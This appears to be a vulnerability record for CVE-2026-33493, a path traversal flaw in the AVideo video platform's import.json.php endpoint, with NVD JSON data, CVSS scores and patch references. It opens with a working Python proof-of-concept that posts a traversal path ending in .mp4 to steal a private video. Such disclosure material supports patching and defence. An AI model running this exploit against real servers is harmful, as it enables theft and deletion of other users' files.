CVE-2026-33493

import requests target_url = "http://target-site/objects/import.json.php" # Attacker needs to be authenticated with upload permissions cookies = { "PHPSESSID": "valid_session_id" } # Exploit path traversal to steal a private video or read adjacent files # Note: The endpoint checks if the string ends in .mp4 payload = { "fileURI": "../../../var/www/html/AVideo/videos/private/user_secret.mp4" } response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("Exploit successful. Response:") print(response.text) else: print("Exploit failed.")

{"cve": {"id": "CVE-2026-33493", "sourceIdentifier": "[email protected]", "published": "2026-03-23T16:16:49.433", "lastModified": "2026-03-24T18:17:24.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 26.0 inclusive, el endpoint 'objects/import.json.php' acepta un parámetro POST 'fileURI' controlado por el usuario con solo una verificación de expresión regular de que el valor termina en '.mp4'. A diferencia de 'objects/listFiles.json.php', que fue reforzado con una verificación de prefijo de directorio + 'realpath()' para restringir las rutas al directorio 'videos/', 'import.json.php' no realiza ninguna restricción de directorio. Esto permite a un usuario autenticado con permiso de carga: (1) robar los archivos de video privados de cualquier otro usuario importándolos a su propia cuenta, (2) leer archivos '.txt' / '.html' / '.htm' adyacentes a cualquier archivo '.mp4' en el sistema de archivos, y (3) eliminar archivos '.mp4' y archivos de texto adyacentes si son escribibles por el proceso del servidor web. El commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}